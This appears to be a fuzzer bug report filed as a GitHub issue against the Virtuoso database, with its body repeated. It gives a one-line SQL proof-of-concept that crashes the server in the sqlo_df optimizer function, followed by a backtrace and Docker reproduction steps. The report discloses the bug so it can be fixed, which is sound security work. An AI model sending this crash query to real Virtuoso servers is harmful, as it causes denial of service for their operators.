Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_df`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT x FROM ( SELECT CASE WHEN 'foo.boo[]' THEN 1 END x ) x HAVING x OR ( x AND ( x = x OR CASE WHEN x THEN ( AVG ( result ( ) ) ) END ) );
```

backtrace:
```c
#0 0x6e796a (sqlo_df+0x22da)
#1 0x6e5bbe (sqlo_df+0x52e)
#2 0x6e649b (sqlo_df+0xe0b)
#3 0x6e5ca0 (sqlo_df+0x610)
#4 0x6e66f6 (sqlo_df+0x1066)
#5 0x6e670e (sqlo_df+0x107e)
#6 0x6e6b78 (sqlo_df+0x14e8)
#7 0x6e670e (sqlo_df+0x107e)
#8 0x6f2a34 (sqlo_import_preds+0x134)
#9 0x6f3dd6 (sqlo_place_dt_leaf+0xe16)
#10 0x6f591c (sqlo_place_dt+0x14c)
#11 0x707daf (sqlo_place_table+0xf0f)
#12 0x70f07b (sqlo_try+0xdb)
#13 0x71012d (sqlo_layout_1+0x41d)
#14 0x6f10eb (sqlo_layout+0x5fb)
#15 0x714955 (sqlo_top_2+0x335)
#16 0x7142b5 (sqlo_top_1+0x135)
#17 0x716066 (sqlo_top_select+0x156)
#18 0x6bf21b (sql_stmt_comp+0x8bb)
#19 0x6c20b2 (sql_compile_1+0x1a62)
#20 0x7d5b40 (stmt_set_query+0x340)
#21 0x7d7a32 (sf_sql_execute+0x922)
#22 0x7d8dbe (sf_sql_execute_w+0x17e)
#23 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#24 0xe2a11c (future_wrapper+0x3fc)
#25 0xe31a1e (_thread_boot+0x11e)
#26 0x7f1fd6763609 (start_thread+0xd9)
#27 0x7f1fd6533353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_df`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_df`
Issue date:

--- start body ---
Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_df`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT x FROM ( SELECT CASE WHEN 'foo.boo[]' THEN 1 END x ) x HAVING x OR ( x AND ( x = x OR CASE WHEN x THEN ( AVG ( result ( ) ) ) END ) );
```

backtrace:
```c
#0 0x6e796a (sqlo_df+0x22da)
#1 0x6e5bbe (sqlo_df+0x52e)
#2 0x6e649b (sqlo_df+0xe0b)
#3 0x6e5ca0 (sqlo_df+0x610)
#4 0x6e66f6 (sqlo_df+0x1066)
#5 0x6e670e (sqlo_df+0x107e)
#6 0x6e6b78 (sqlo_df+0x14e8)
#7 0x6e670e (sqlo_df+0x107e)
#8 0x6f2a34 (sqlo_import_preds+0x134)
#9 0x6f3dd6 (sqlo_place_dt_leaf+0xe16)
#10 0x6f591c (sqlo_place_dt+0x14c)
#11 0x707daf (sqlo_place_table+0xf0f)
#12 0x70f07b (sqlo_try+0xdb)
#13 0x71012d (sqlo_layout_1+0x41d)
#14 0x6f10eb (sqlo_layout+0x5fb)
#15 0x714955 (sqlo_top_2+0x335)
#16 0x7142b5 (sqlo_top_1+0x135)
#17 0x716066 (sqlo_top_select+0x156)
#18 0x6bf21b (sql_stmt_comp+0x8bb)
#19 0x6c20b2 (sql_compile_1+0x1a62)
#20 0x7d5b40 (stmt_set_query+0x340)
#21 0x7d7a32 (sf_sql_execute+0x922)
#22 0x7d8dbe (sf_sql_execute_w+0x17e)
#23 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#24 0xe2a11c (future_wrapper+0x3fc)
#25 0xe31a1e (_thread_boot+0x11e)
#26 0x7f1fd6763609 (start_thread+0xd9)
#27 0x7f1fd6533353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.12 and 7.2.13-dev.3239-pthreads occurs when executing a specific SQL query, indicating a potential vulnerability that could be exploited to crash the server.